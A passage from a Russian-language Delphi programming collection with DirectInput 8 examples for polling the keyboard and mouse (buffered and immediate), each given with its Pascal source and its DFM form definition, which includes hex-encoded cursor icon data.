  // Проверяем выход курсора за пределы диапазона
  if nXPos < 0        then nXPos := 0;
  if nXPos + 10 > 140 then nXPos := 130;
  if nYPos < 0        then nYPos := 0;
  if nYPos + 10 > 140 then nYPos := 130;

  // Рисуем курсор
  with imView.Canvas do
  begin
    FillRect( Canvas.ClipRect );

    Brush.Color := clRed;
    Rectangle( nXPos, nYPos, nXPos + 10, nYPos + 10 );
    Brush.Color := clWhite;
  end;

  Done := FALSE;
end;

//------------------------------------------------------------------------------
// Имя:      TForm1.FormCreate()
// Описание: Производит инициализацию DirectInput при старте программы
//------------------------------------------------------------------------------
procedure TForm1.FormCreate(Sender: TObject);
begin
  if not InitDirectInput( Form1.Handle ) then
  begin
    MessageBox( Form1.Handle, 'Ошибка при инициализации DirectInput!',
                'Ошибка!', MB_ICONHAND );
    ReleaseDirectInput();
    Halt;
  end;

  // Приводим UI в соответствующий вид
  lbKeys.Caption := '';

  // Назначаем обработчик Idle-события. Компонент TTimer не позволит раскрыть
  // всех преимуществ использования DirectInput
  Application.OnIdle := Idle;
end;

//------------------------------------------------------------------------------
// Имя:      TForm1.btnCloseClick()
// Описание: Закрывает программу
//------------------------------------------------------------------------------
procedure TForm1.btnCloseClick(Sender: TObject);
begin
  Form1.Close();
end;

//------------------------------------------------------------------------------
// Имя:      TForm1.FormDestroy()
// Описание: Вызывается при удалении программы из памяти
//------------------------------------------------------------------------------
procedure TForm1.FormDestroy(Sender: TObject);
begin
  ReleaseDirectInput();
end;

end.

Форма:

object Form1: TForm1
  Left = 192
  Top = 106
  BorderIcons = [biSystemMenu, biMinimize]
  BorderStyle = bsSingle
  Caption = 'DirectInput 8: Клавиатура'
  ClientHeight = 318
  ClientWidth = 377
  Color = clBtnFace
  Font.Charset = DEFAULT_CHARSET
  Font.Color = clWindowText
  Font.Height = -11
  Font.Name = 'MS Sans Serif'
  Font.Style = []
  OldCreateOrder = False
  Position = poScreenCenter
  OnCreate = FormCreate
  OnDestroy = FormDestroy
  PixelsPerInch = 96
  TextHeight = 13
  object lbRemark: TLabel
    Left = 8
    Top = 8
    Width = 338
    Height = 13
    Caption = 'Используйте num-клавиши клавиатуры для перемещения курсора'
  end
  object btnClose: TButton
    Left = 294
    Top = 288
    Width = 75
    Height = 23
    Cancel = True
    Caption = 'Закрыть'
    TabOrder = 0
    OnClick = btnCloseClick
  end
  object gb1: TGroupBox
    Left = 8
    Top = 32
    Width = 177
    Height = 177
    Caption = 'Визуальная проверка'
    TabOrder = 1
    object imView: TImage
      Left = 19
      Top = 24
      Width = 140
      Height = 140
    end
  end
  object gb3: TGroupBox
    Left = 8
    Top = 216
    Width = 361
    Height = 65
    Caption = 'Клавиши'
    TabOrder = 2
    object lbKeys: TLabel
      Left = 64
      Top = 24
      Width = 289
      Height = 17
      AutoSize = False
      Caption = 'lbKeys'
    end
    object lbIndex: TLabel
      Left = 8
      Top = 24
      Width = 49
      Height = 13
      Caption = 'Индексы:'
    end
  end
  object gb2: TGroupBox
    Left = 200
    Top = 32
    Width = 169
    Height = 177
    Caption = 'Способ опроса'
    TabOrder = 3
    object rbWM: TRadioButton
      Left = 24
      Top = 56
      Width = 129
      Height = 17
      Caption = 'Windows Messaging'
      Checked = True
      TabOrder = 0
      TabStop = True
    end
    object rgDI8: TRadioButton
      Left = 24
      Top = 104
      Width = 129
      Height = 17
      Caption = 'DirectInput 8'
      TabOrder = 1
    end
  end
end

Взято с сайта Анатолия Подгорецкого http://podgoretsky.com
по материалам fido7.ru.delphi.*


Пример опроса мыши методами DirectInput

(******************************************************************************
 *                                                                            *
 *  Придумал и написал Кода Виктор, Март 2002                                 *
 *                                                                            *
 *  Файл:       main.pas                                                      *
 *  Содержание: Пример буферизированного опроса мыши методами DirectInput     *
 *                                                                            *
 ******************************************************************************)
unit main;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, StdCtrls,
  ExtCtrls;

type
  TForm1 = class(TForm)
    gb1: TGroupBox;
    lbX0: TLabel;
    lbY0: TLabel;
    lbX: TLabel;
    lbY: TLabel;
    lb1: TLabel;
    lb2: TLabel;
    lb3: TLabel;
    lb4: TLabel;
    lbBtn1: TLabel;
    lbBtn2: TLabel;
    lbBtn3: TLabel;
    lbBtn4: TLabel;
    imCursor: TImage;
    procedure FormActivate(Sender: TObject);
    procedure FormKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure FormDestroy(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    procedure Idle( Sender: TObject; var Done: Boolean );
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

uses
  DirectInput8;

//------------------------------------------------------------------------------
// Константы и глобальные переменные
//------------------------------------------------------------------------------
var
  lpDI8:     IDirectInput8       = nil;
  lpDIMouse: IDirectInputDevice8 = nil;

  mouseX:    LongInt = 0;
  mouseY:    LongInt = 0;

//------------------------------------------------------------------------------
// Имя:      InitDirectInput()
// Описание: Производит инициализацию объектов DirectInput в программе
//------------------------------------------------------------------------------
function InitDirectInput( hWnd: HWND ): Boolean;
var
  dipropdw: TDIPROPDWORD; // Структура для задания характеристик мыши
begin
  Result := FALSE;

  // Создаём главный объект DirectInput
  if FAILED( DirectInput8Create( GetModuleHandle( 0 ), DIRECTINPUT_VERSION,
                                 IID_IDirectInput8, lpDI8, nil ) ) then
     Exit;
  lpDI8._AddRef();

  // Создаём объект для работы с мышью
  if FAILED( lpDI8.CreateDevice( GUID_SysMouse, lpDIMouse, nil ) ) then
     Exit;
  lpDIMouse._AddRef();

  // Устанавлаваем предопределённый формат данных
  if FAILED( lpDIMouse.SetDataFormat( @c_dfDIMouse ) ) then
     Exit;

  // Устанавливаем уровень кооперации
  if FAILED( lpDIMouse.SetCooperativeLevel( hWnd, DISCL_FOREGROUND or
                                                  DISCL_EXCLUSIVE ) ) then
     Exit;

  // Подготавливаем структуру TDIPROPDWORD, она поможет установить нам
  // буферизированный опрос мыши
  ZeroMemory( @dipropdw, SizeOf( TDIPROPDWORD ) );
  dipropdw.diph.dwSize := SizeOf( TDIPROPDWORD );
  dipropdw.diph.dwHeaderSize := SizeOf( TDIPROPHEADER );

  dipropdw.diph.dwObj := 0;
  dipropdw.diph.dwHow := DIPH_DEVICE; // Изменяем х-ки всего устройства
  dipropdw.dwData := 16;              // Размер буфера для данных (по умолчанию 0)

  // Устанавливаем размер буфера для мыши
  if FAILED( lpDIMouse.SetProperty( DIPROP_BUFFERSIZE, dipropdw.diph ) ) then
     Exit;

  // Захвытываем мышь
  lpDIMouse.Acquire();

  Result := TRUE;
end;

//------------------------------------------------------------------------------
// Имя:      ReleaseDirectInput()
// Описание: Производит удаление объектов DirectInput
//------------------------------------------------------------------------------
procedure ReleaseDirectInput();
begin
  // Удаляем объект для работы с мышью
  if lpDIMouse <> nil then
  begin
    lpDIMouse.Unacquire();
    lpDIMouse._Release();
    lpDIMouse := nil;
  end;

  // Удаляем главный объект DirectInput (всегда последним)
  if lpDI8 <> nil then
  begin
    lpDI8._Release();
    lpDI8 := nil;
  end;
end;

//------------------------------------------------------------------------------
// Имя:      GetMouseCaps()
// Описание: Получает характеристики мыши (определяет кол-во кнопок)
//------------------------------------------------------------------------------
procedure GetMouseCaps();
var
  lpCaps: TDIDEVCAPS; // Структура для получения данных об элементах мыши
begin
  // Подготавливаем структуру TDIDEVCAPS (для получения характеристик мыши)
  ZeroMemory( @lpCaps, SizeOf( TDIDEVCAPS ) );
  lpCaps.dwSize := SizeOf( TDIDEVCAPS );

  // Получаем характеристики мыши, данные записывааются в структуру lpCaps
  lpDIMouse.GetCapabilities( lpCaps );

  // Приводим UI в соответствующий вид
  with Form1 do
  begin
    if lpCaps.dwButtons > 0 then
    begin
      lb1.Enabled := TRUE; lbBtn1.Enabled := TRUE;
    end;

    if lpCaps.dwButtons > 1 then
    begin
      lb2.Enabled := TRUE; lbBtn2.Enabled := TRUE;
    end;

    if lpCaps.dwButtons > 2 then
    begin
      lb3.Enabled := TRUE; lbBtn3.Enabled := TRUE;
    end;

    if lpCaps.dwButtons > 3 then
    begin
      lb4.Enabled := TRUE; lbBtn4.Enabled := TRUE;
    end;
  end;
end;

//------------------------------------------------------------------------------
// Имя:      UpdateMouseState()
// Описание: Производит опрос мыши и выводит данные в окно
//------------------------------------------------------------------------------
function UpdateMouseState( var(*по параметру*)dwX, dwY: DWORD ): Boolean;
var
  od:         TDIDEVICEOBJECTDATA;
  dwElements: DWORD;
begin
  Result := FALSE;

  // Обазательно обнуляем!
  dwX := 0;
  dwY := 0;

  dwElements := 1;

  // Пока количество опрашиваемых элементов мыши (оси, кнопки, колёсики ) <> 0
  while dwElements <> 0 do
  begin
    // Получаем данные от мыши
    if lpDIMouse.GetDeviceData( SizeOf( TDIDEVICEOBJECTDATA ), @od,
                                dwElements, 0 ) = DIERR_INPUTLOST then
    begin
      // Снова захватываем
      lpDIMouse.Acquire();
      // Если всё бесполезно, то выходим
      if FAILED( lpDIMouse.GetDeviceData( SizeOf( TDIDEVICEOBJECTDATA ), @od,
                                          dwElements, 0 ) ) then
         Exit;
    end;

    with Form1 do
    begin
      case od.dwOfs of
        DIMOFS_X:       dwX := od.dwData;
        DIMOFS_Y:       dwY := od.dwData;
        DIMOFS_BUTTON0: if od.dwData = $080 then lbBtn1.Caption := 'Нажата'
                                            else lbBtn1.Caption := '';
        DIMOFS_BUTTON1: if od.dwData = $080 then lbBtn2.Caption := 'Нажата'
                                            else lbBtn2.Caption := '';
        DIMOFS_BUTTON2: if od.dwData = $080 then lbBtn3.Caption := 'Нажата'
                                            else lbBtn3.Caption := '';
        DIMOFS_BUTTON3: if od.dwData = $080 then lbBtn4.Caption := 'Нажата'
                                            else lbBtn4.Caption := '';
      end;
    end;
  end;

  Result := TRUE;
end;

//------------------------------------------------------------------------------
// Имя:      TForm1.Idle()
// Описание: Вызывает функцию опроса состояния мыши
//------------------------------------------------------------------------------
procedure TForm1.Idle( Sender: TObject; var Done: Boolean );
var
  dwOffsX,
  dwOffsY: DWORD; // Смещение мыши
begin
  // Получаем данные и записываем их в offsX и offsY
  if not UpdateMouseState( dwOffsX, dwOffsY ) then
  begin
    MessageBox( Form1.Handle, 'Потеряно устройство ввода!',
                'Ошибка', MB_ICONHAND );
    Form1.Close();
  end;

  // Вычисляем абсолютные координаты
  Inc( mouseX, dwOffsX );
  Inc( mouseY, dwOffsY );

  lbX.Caption := Format( '%d', [ mouseX ] );
  lbY.Caption := Format( '%d', [ mouseY ] );

  imCursor.Left := 234 + mouseX; // 234 - координата, если мы хотим, чтобы
  imCursor.Top  := 234 + mouseY; // курсор был с начала работы в центре окна

  Done := FALSE;
end;

//------------------------------------------------------------------------------
// Имя:      TForm1.FormActivate()
// Описание: Производит инициализацию DirectInput при активизации окна
//------------------------------------------------------------------------------
procedure TForm1.FormActivate(Sender: TObject);
begin
  if not InitDirectInput( Form1.Handle ) then
  begin
    MessageBox( Form1.Handle, 'Ошибка при инициализации DirectInput!',
                'Ошибка!', MB_ICONHAND );
    Form1.Close();
  end;

  // Получаем характеристики мыши (сколько кнопок?). Кстати, я не знаю - как
  // определить, есть ли у мыши колёсико?
  GetMouseCaps();

  // Приводим UI в соответствующий вид
  lbBtn1.Caption := '';
  lbBtn2.Caption := '';
  lbBtn3.Caption := '';
  lbBtn4.Caption := '';

  Application.OnIdle := Idle;
end;

//------------------------------------------------------------------------------
// Имя:      TForm1.FormKeyDown()
// Описание: Обрабатывает клавиатурный ввод
//------------------------------------------------------------------------------
procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
  if Key = VK_ESCAPE then Form1.Close();
end;

//------------------------------------------------------------------------------
// Имя:      TForm1.FormDestroy()
// Описание: Вызывается при удалении программы из памяти
//------------------------------------------------------------------------------
procedure TForm1.FormDestroy(Sender: TObject);
begin
  ReleaseDirectInput();
end;

end.

Форма:

object Form1: TForm1
  Left = 221
  Top = 31
  BorderIcons = []
  BorderStyle = bsSingle
  Caption =
    'DirectInput 8: буферизированный опрос мыши (нажмите Esc для выхо' +
    'да)'
  ClientHeight = 500
  ClientWidth = 500
  Color = clBtnFace
  Font.Charset = DEFAULT_CHARSET
  Font.Color = clWindowText
  Font.Height = -11
  Font.Name = 'MS Sans Serif'
  Font.Style = []
  KeyPreview = True
  OldCreateOrder = False
  Position = poScreenCenter
  OnActivate = FormActivate
  OnDestroy = FormDestroy
  OnKeyDown = FormKeyDown
  PixelsPerInch = 96
  TextHeight = 13
  object imCursor: TImage
    Left = 234
    Top = 234
    Width = 32
    Height = 32
    AutoSize = True
    Picture.Data = {
      055449636F6E0000010001002020000001000800A80800001600000028000000
      2000000040000000010008000000000080040000000000000000000000010000
      0000000000000000800080008000000080800000008000000080800000008000
      C0C0C000C0DCC000F0CAA60080808000FF00FF00FF000000FFFF000000FF0000
      00FFFF000000FF00FFFFFF00F0FBFF00A4A0A000D4F0FF00B1E2FF008ED4FF00
      6BC6FF0048B8FF0025AAFF0000AAFF000092DC00007AB90000629600004A7300
      00325000D4E3FF00B1C7FF008EABFF006B8FFF004873FF002557FF000055FF00
      0049DC00003DB900003196000025730000195000D4D4FF00B1B1FF008E8EFF00
      6B6BFF004848FF002525FF000000FF000000DC000000B9000000960000007300
      00005000E3D4FF00C7B1FF00AB8EFF008F6BFF007348FF005725FF005500FF00
      4900DC003D00B900310096002500730019005000F0D4FF00E2B1FF00D48EFF00
      C66BFF00B848FF00AA25FF00AA00FF009200DC007A00B900620096004A007300
      32005000FFD4FF00FFB1FF00FF8EFF00FF6BFF00FF48FF00FF25FF00FF00FF00
      DC00DC00B900B900960096007300730050005000FFD4F000FFB1E200FF8ED400
      FF6BC600FF48B800FF25AA00FF00AA00DC009200B9007A009600620073004A00
      50003200FFD4E300FFB1C700FF8EAB00FF6B8F00FF487300FF255700FF005500
      DC004900B9003D00960031007300250050001900FFD4D400FFB1B100FF8E8E00
      FF6B6B00FF484800FF252500FF000000DC000000B90000009600000073000000
      50000000FFE3D400FFC7B100FFAB8E00FF8F6B00FF734800FF572500FF550000
      DC490000B93D0000963100007325000050190000FFF0D400FFE2B100FFD48E00
      FFC66B00FFB84800FFAA2500FFAA0000DC920000B97A000096620000734A0000
      50320000FFFFD400FFFFB100FFFF8E00FFFF6B00FFFF4800FFFF2500FFFF0000
      DCDC0000B9B90000969600007373000050500000F0FFD400E2FFB100D4FF8E00
      C6FF6B00B8FF4800AAFF2500AAFF000092DC00007AB90000629600004A730000
      32500000E3FFD400C7FFB100ABFF8E008FFF6B0073FF480057FF250055FF0000
      49DC00003DB90000319600002573000019500000D4FFD400B1FFB1008EFF8E00
      6BFF6B0048FF480025FF250000FF000000DC000000B900000096000000730000
      00500000D4FFE300B1FFC7008EFFAB006BFF8F0048FF730025FF570000FF5500
      00DC490000B93D00009631000073250000501900D4FFF000B1FFE2008EFFD400
      6BFFC60048FFB80025FFAA0000FFAA0000DC920000B97A000096620000734A00
      00503200D4FFFF00B1FFFF008EFFFF006BFFFF0048FFFF0025FFFF0000FFFF00
      00DCDC0000B9B900009696000073730000505000F2F2F200E6E6E600DADADA00
      CECECE00C2C2C200B6B6B600AAAAAA009E9E9E0092929200868686007A7A7A00
      6E6E6E0062626200565656004A4A4A003E3E3E0032323200262626001A1A1A00
      0E0E0E0000000000000000000000000000000000000000000000000000000000
      0000000000000000000000000000000000000000000000000000000000000000
      0000000000000000000000000000000000000000000000000000000000000000
      0000000000000000000000000000000000000000000000000000000000000000
      0000000000000000000000000000000000000000000000000000000000000000
      0000000000000000000000000000000000000000000000000000000000000000
      0000000000000000000000000000000000000000000000000000000000000000
      0000000000000000000000000000000000000000000000000000000000000000
      0000000000000000000000000000000000000000000000000000000000000000
      0000000000000000000000000000000000000000000000000000000000000000
      0000000000000000000000000000000000000000000000000000000000000000
      0000000000000000000000000000000000000000000000000000000000000000
      0000000000000000000000000000000000000000000000000000000000000000
      0000000000000000000000BABA00000000000000000000000000000000000000
      00000000000000000000C5C5C5BA000000000000000000000000000000000000
      00000000000000000000C5ABC5BA000000000000000000000000000000000000
      000000000000000000C5ABC5BA00000000000000000000000000000000000000
      00000000C500000000C5ABC5BA00000000000000000000000000000000000000
      00000000C2C50000C5ABC5BA0000000000000000000000000000000000000000
      00000000C2C3C500C5ABC5BA0000000000000000000000000000000000000000
      00000000C2C3C3C5ABBABA000000000000000000000000000000000000000000
      00000000C2C3C3C4C4C4C5C5BABAD30000000000000000000000000000000000
      00000000C2C3C3C4C4D1D1D1BAD3000000000000000000000000000000000000
      00000000C2C3C3C4C4D1D1BAD300000000000000000000000000000000000000
      00000000C2C3C4C4D1D1D1D30000000000000000000000000000000000000000
      00000000C2C3C4C4D1D1D3000000000000000000000000000000000000000000
      00000000C2C3C4D1D1BA00000000000000000000000000000000000000000000
      00000000C2C4D1D1BA0000000000000000000000000000000000000000000000
      00000000C2C4D1C5000000000000000000000000000000000000000000000000
      00000000C2C5C500000000000000000000000000000000000000000000000000
      00000000C2C50000000000000000000000000000000000000000000000000000
      00000000D0000000000000000000000000000000000000000000000000000000
      00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE7FFFFFFC3FFFFF
      FC3FFFFFF87FFFFF787FFFFF30FFFFFF10FFFFFF01FFFFFF001FFFFF003FFFFF
      007FFFFF00FFFFFF01FFFFFF03FFFFFF07FFFFFF0FFFFFFF1FFFFFFF3FFFFFFF
      7FFFFFFF}
  end
  object gb1: TGroupBox
    Left = 360
    Top = 8
    Width = 129
    Height = 145
    Caption = 'Состояние мыши'
    TabOrder = 0
    object lbX0: TLabel
      Left = 17
      Top = 24
      Width = 10
      Height = 13
      Caption = 'X:'
    end
    object lbY0: TLabel
      Left = 17
      Top = 40
      Width = 10
      Height = 13
      Caption = 'Y:'
    end
    object lb1: TLabel
      Left = 16
      Top = 64
      Width = 46
      Height = 13
      Caption = 'Кнопка1:'
      Enabled = False
    end
    object lb2: TLabel
      Left = 16
      Top = 80
      Width = 46
      Height = 13
      Caption = 'Кнопка2:'
      Enabled = False
    end
    object lb3: TLabel
      Left = 16
      Top = 96
      Width = 46
      Height = 13
      Caption = 'Кнопка3:'
      Enabled = False
    end
    object lbBtn1: TLabel
      Left = 72
      Top = 64
      Width = 30
      Height = 13
      Caption = 'lbBtn1'
      Enabled = False
    end
    object lbBtn2: TLabel
      Left = 72
      Top = 80
      Width = 30
      Height = 13
      Caption = 'lbBtn2'
      Enabled = False
    end
    object lbBtn3: TLabel
      Left = 72
      Top = 96
      Width = 30
      Height = 13
      Caption = 'lbBtn3'
      Enabled = False
    end
    object lb4: TLabel
      Left = 16
      Top = 112
      Width = 46
      Height = 13
      Caption = 'Кнопка4:'
      Enabled = False
    end
    object lbBtn4: TLabel
      Left = 72
      Top = 112
      Width = 30
      Height = 13
      Caption = 'lbBtn4'
      Enabled = False
    end
    object lbX: TLabel
      Left = 72
      Top = 24
      Width = 6
      Height = 13
      Caption = '0'
    end
    object lbY: TLabel
      Left = 72
      Top = 40
      Width = 6
      Height = 13
      Caption = '0'
    end
  end
end

(******************************************************************************
 *                                                                            *
 *  Придумал и написал Кода Виктор, Март 2002                                 *
 *                                                                            *
 *  Файл:       main.pas                                                      *
 *  Содержание: Пример непосредственного опроса мыши методами DirectInput     *
 *                                                                            *
 ******************************************************************************)
unit main;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, StdCtrls,
  ExtCtrls;

type
  TForm1 = class(TForm)
    gb1: TGroupBox;
    lbX0: TLabel;
    lbY0: TLabel;
    lbX: TLabel;
    lbY: TLabel;
    lb1: TLabel;
    lb2: TLabel;
    lb3: TLabel;
    lb4: TLabel;
    lbBtn1: TLabel;
    lbBtn2: TLabel;
    lbBtn3: TLabel;
    lbBtn4: TLabel;
    imCursor: TImage;
    lbEMail: TLabel;
    procedure FormActivate(Sender: TObject);
    procedure FormKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure FormDestroy(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    procedure Idle( Sender: TObject; var Done: Boolean );
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

uses
  DirectInput8;

//------------------------------------------------------------------------------
// Константы и глобальные переменные
//------------------------------------------------------------------------------
const
  CURSOR_SPEED = 2.0;

var
  lpDI8:       IDirectInput8       = nil;
  lpDIMouse:   IDirectInputDevice8 = nil;

  dwMouseXPos: DWORD = 0;
  dwMouseYPos: DWORD = 0;

//------------------------------------------------------------------------------
// Имя:      InitDirectInput()
// Описание: Производит инициализацию объектов DirectInput в программе
//------------------------------------------------------------------------------
function InitDirectInput( hWnd: HWND ): Boolean;
var
  dipropdw: TDIPROPDWORD; // Структура для задания характеристик мыши
begin
  Result := FALSE;

  // Создаём главный объект DirectInput
  if FAILED( DirectInput8Create( GetModuleHandle( 0 ), DIRECTINPUT_VERSION,
                                 IID_IDirectInput8, lpDI8, nil ) ) then
     Exit;
  lpDI8._AddRef();

  // Создаём объект для работы с мышью
  if FAILED( lpDI8.CreateDevice( GUID_SysMouse, lpDIMouse, nil ) ) then
     Exit;
  lpDIMouse._AddRef();

  // Устанавлаваем предопределённый формат данных
  if FAILED( lpDIMouse.SetDataFormat( @c_dfDIMouse ) ) then
     Exit;

  // Устанавливаем уровень кооперации
  if FAILED( lpDIMouse.SetCooperativeLevel( hWnd, DISCL_FOREGROUND or
                                                  DISCL_EXCLUSIVE ) ) then
     Exit;

  // Захвытываем мышь
  lpDIMouse.Acquire();

  Result := TRUE;
end;

//------------------------------------------------------------------------------
// Имя:      ReleaseDirectInput()
// Описание: Производит удаление объектов DirectInput
//------------------------------------------------------------------------------
procedure ReleaseDirectInput();
begin
  // Удаляем объект для работы с мышью
  if lpDIMouse <> nil then
  begin
    lpDIMouse.Unacquire();
    lpDIMouse._Release();
    lpDIMouse := nil;
  end;

  // Удаляем главный объект DirectInput (всегда последним)
  if lpDI8 <> nil then
  begin
    lpDI8._Release();
    lpDI8 := nil;
  end;
end;

//------------------------------------------------------------------------------
// Имя:      GetMouseCaps()
// Описание: Получает характеристики мыши (определяет кол-во кнопок)
//------------------------------------------------------------------------------
procedure GetMouseCaps();
var
  lpCaps: TDIDEVCAPS; // Структура для получения данных об элементах мыши
begin
  // Подготавливаем структуру TDIDEVCAPS (для получения характеристик мыши)
  ZeroMemory( @lpCaps, SizeOf( TDIDEVCAPS ) );
  lpCaps.dwSize := SizeOf( TDIDEVCAPS );

  // Получаем характеристики мыши, данные записывааются в структуру lpCaps
  lpDIMouse.GetCapabilities( lpCaps );

  // Приводим GUI в соответствующий вид
  with Form1 do
  begin
    if lpCaps.dwButtons > 0 then
    begin
      lb1.Enabled := TRUE; lbBtn1.Enabled := TRUE;
    end;

    if lpCaps.dwButtons > 1 then
    begin
      lb2.Enabled := TRUE; lbBtn2.Enabled := TRUE;
    end;

    if lpCaps.dwButtons > 2 then
    begin
      lb3.Enabled := TRUE; lbBtn3.Enabled := TRUE;
    end;

    if lpCaps.dwButtons > 3 then
    begin
      lb4.Enabled := TRUE; lbBtn4.Enabled := TRUE;
    end;
  end;
end;

//------------------------------------------------------------------------------
// Имя:      UpdateMouseState()
// Описание: Производит опрос мыши и выводит данные в окно
//------------------------------------------------------------------------------
function UpdateMouseState( var(*по параметру*)x, y: DWORD ): Boolean;
var
  ms: TDIMOUSESTATE;
begin
  Result := FALSE;

  // Получаем данные от мыши
  if lpDImouse.GetDeviceState( SizeOf( TDIMOUSESTATE ), @ms ) = DIERR_INPUTLOST then
  begin
    // Снова захватываем
    lpDIMouse.Acquire();
    // Если всё бесполезно, то выходим
    if FAILED( lpDImouse.GetDeviceState( SizeOf( TDIMOUSESTATE ), @ms ) ) then
       Exit;
  end;

  with Form1 do
  begin
    // Вот так можно сделать движение курсора с переменной скоростью
    if ms.lX < 0 then ms.lX := Round( ms.lX * CURSOR_SPEED ) else
    if ms.lX > 0 then ms.lX := Round( ms.lX * CURSOR_SPEED );

    if ms.lY < 0 then ms.lY := Round( ms.lY * CURSOR_SPEED ) else
    if ms.lY > 0 then ms.lY := Round( ms.lY * CURSOR_SPEED );

    x := ms.lX ;
    y := ms.lY;

    //------

    if ms.rgbButtons[ 0 ] = $080 then lbBtn1.Caption := 'Нажата'
                                 else lbBtn1.Caption := '';
    if ms.rgbButtons[ 1 ] = $080 then lbBtn2.Caption := 'Нажата'
                                 else lbBtn2.Caption := '';
    if ms.rgbButtons[ 2 ] = $080 then lbBtn3.Caption := 'Нажата'
                                 else lbBtn3.Caption := '';
    if ms.rgbButtons[ 3 ] = $080 then lbBtn4.Caption := 'Нажата'
                                 else lbBtn4.Caption := '';
  end;

  Result := TRUE;
end;

//------------------------------------------------------------------------------
// Имя:      TForm1.Idle()
// Описание: Вызывает функцию опроса состояния мыши
//------------------------------------------------------------------------------
procedure TForm1.Idle( Sender: TObject; var Done: Boolean );
var
  dwOffsX,
  dwOffsY: DWORD; // Смещение мыши
begin
  // Получаем данные и записываем их в offsX и offsY
  if not UpdateMouseState( dwOffsX, dwOffsY ) then
  begin
    MessageBox( Form1.Handle, 'Потеряно устройство управления!',
                'Ошибка!', MB_ICONHAND );
    Form1.Close();
  end;

  // Смещаем позицию курсора
  Inc( dwMouseXPos, dwOffsX );
  Inc( dwMouseYPos, dwOffsY );

  lbX.Caption := Format( '%d', [ dwMouseXPos ] );
  lbY.Caption := Format( '%d', [ dwMouseYPos ] );

  imCursor.Left := 234 + dwMouseXPos; // 234 - координата, если мы хотим, чтобы
  imCursor.Top  := 234 + dwMouseYPos; // курсор был с начала работы в центре окна

  Done := FALSE;
end;

//------------------------------------------------------------------------------
// Имя:      TForm1.FormActivate()
// Описание: Производит инициализацию DirectInput при активизации окна
//------------------------------------------------------------------------------
procedure TForm1.FormActivate(Sender: TObject);
begin
  if not InitDirectInput( Form1.Handle ) then
  begin
    MessageBox( Form1.Handle, 'Ошибка при инициализации DirectInput!',
                'Ошибка!', MB_ICONHAND );
    Form1.Close();
  end;

  // Получаем характеристики мыши (сколько кнопок?). Кстати, я не знаю - как
  // определить, есть ли у мыши колёсико?
  GetMouseCaps();

  // Приводим UI в соответствующий вид
  lbBtn1.Caption := '';
  lbBtn2.Caption := '';
  lbBtn3.Caption := '';
  lbBtn4.Caption := '';
  imCursor.Left := 184; // Курсор центре окна
  imCursor.Top  := 184;

  Application.OnIdle := Idle;
end;

//------------------------------------------------------------------------------
// Имя:      TForm1.FormKeyDown()
// Описание: Обрабатывает клавиатурный ввод
//------------------------------------------------------------------------------
procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
  if Key = VK_ESCAPE then Form1.Close();
end;

//------------------------------------------------------------------------------
// Имя:      TForm1.FormDestroy()
// Описание: Вызывается при удалении программы из памяти
//------------------------------------------------------------------------------
procedure TForm1.FormDestroy(Sender: TObject);
begin
  ReleaseDirectInput();
end;

end.

форма:

object Form1: TForm1
  Left = 155
  Top = 34
  BorderIcons = []
  BorderStyle = bsSingle
  Caption =
    'DirectInput 8: непосредственный опрос мыши (нажмите Esc для выхо' +
    'да)'
  ClientHeight = 500
  ClientWidth = 500
  Color = clBtnFace
  Font.Charset = DEFAULT_CHARSET
  Font.Color = clWindowText
  Font.Height = -11
  Font.Name = 'MS Sans Serif'
  Font.Style = []
  KeyPreview = True
  OldCreateOrder = False
  Position = poScreenCenter
  OnActivate = FormActivate
  OnDestroy = FormDestroy
  OnKeyDown = FormKeyDown
  PixelsPerInch = 96
  TextHeight = 13
  object imCursor: TImage
    Left = 234
    Top = 234
    Width = 32
    Height = 32
    AutoSize = True
    Picture.Data = {
      055449636F6E0000010001002020000001000800A80800001600000028000000
      2000000040000000010008000000000080040000000000000000000000010000
      0000000000000000800080008000000080800000008000000080800000008000
      C0C0C000C0DCC000F0CAA60080808000FF00FF00FF000000FFFF000000FF0000
      00FFFF000000FF00FFFFFF00F0FBFF00A4A0A000D4F0FF00B1E2FF008ED4FF00
      6BC6FF0048B8FF0025AAFF0000AAFF000092DC00007AB90000629600004A7300
      00325000D4E3FF00B1C7FF008EABFF006B8FFF004873FF002557FF000055FF00
      0049DC00003DB900003196000025730000195000D4D4FF00B1B1FF008E8EFF00
      6B6BFF004848FF002525FF000000FF000000DC000000B9000000960000007300
      00005000E3D4FF00C7B1FF00AB8EFF008F6BFF007348FF005725FF005500FF00
      4900DC003D00B900310096002500730019005000F0D4FF00E2B1FF00D48EFF00
      C66BFF00B848FF00AA25FF00AA00FF009200DC007A00B900620096004A007300
      32005000FFD4FF00FFB1FF00FF8EFF00FF6BFF00FF48FF00FF25FF00FF00FF00
      DC00DC00B900B900960096007300730050005000FFD4F000FFB1E200FF8ED400
      FF6BC600FF48B800FF25AA00FF00AA00DC009200B9007A009600620073004A00
      50003200FFD4E300FFB1C700FF8EAB00FF6B8F00FF487300FF255700FF005500
      DC004900B9003D00960031007300250050001900FFD4D400FFB1B100FF8E8E00
      FF6B6B00FF484800FF252500FF000000DC000000B90000009600000073000000
      50000000FFE3D400FFC7B100FFAB8E00FF8F6B00FF734800FF572500FF550000
      DC490000B93D0000963100007325000050190000FFF0D400FFE2B100FFD48E00
      FFC66B00FFB84800FFAA2500FFAA0000DC920000B97A000096620000734A0000
      50320000FFFFD400FFFFB100FFFF8E00FFFF6B00FFFF4800FFFF2500FFFF0000
      DCDC0000B9B90000969600007373000050500000F0FFD400E2FFB100D4FF8E00
      C6FF6B00B8FF4800AAFF2500AAFF000092DC00007AB90000629600004A730000
      32500000E3FFD400C7FFB100ABFF8E008FFF6B0073FF480057FF250055FF0000
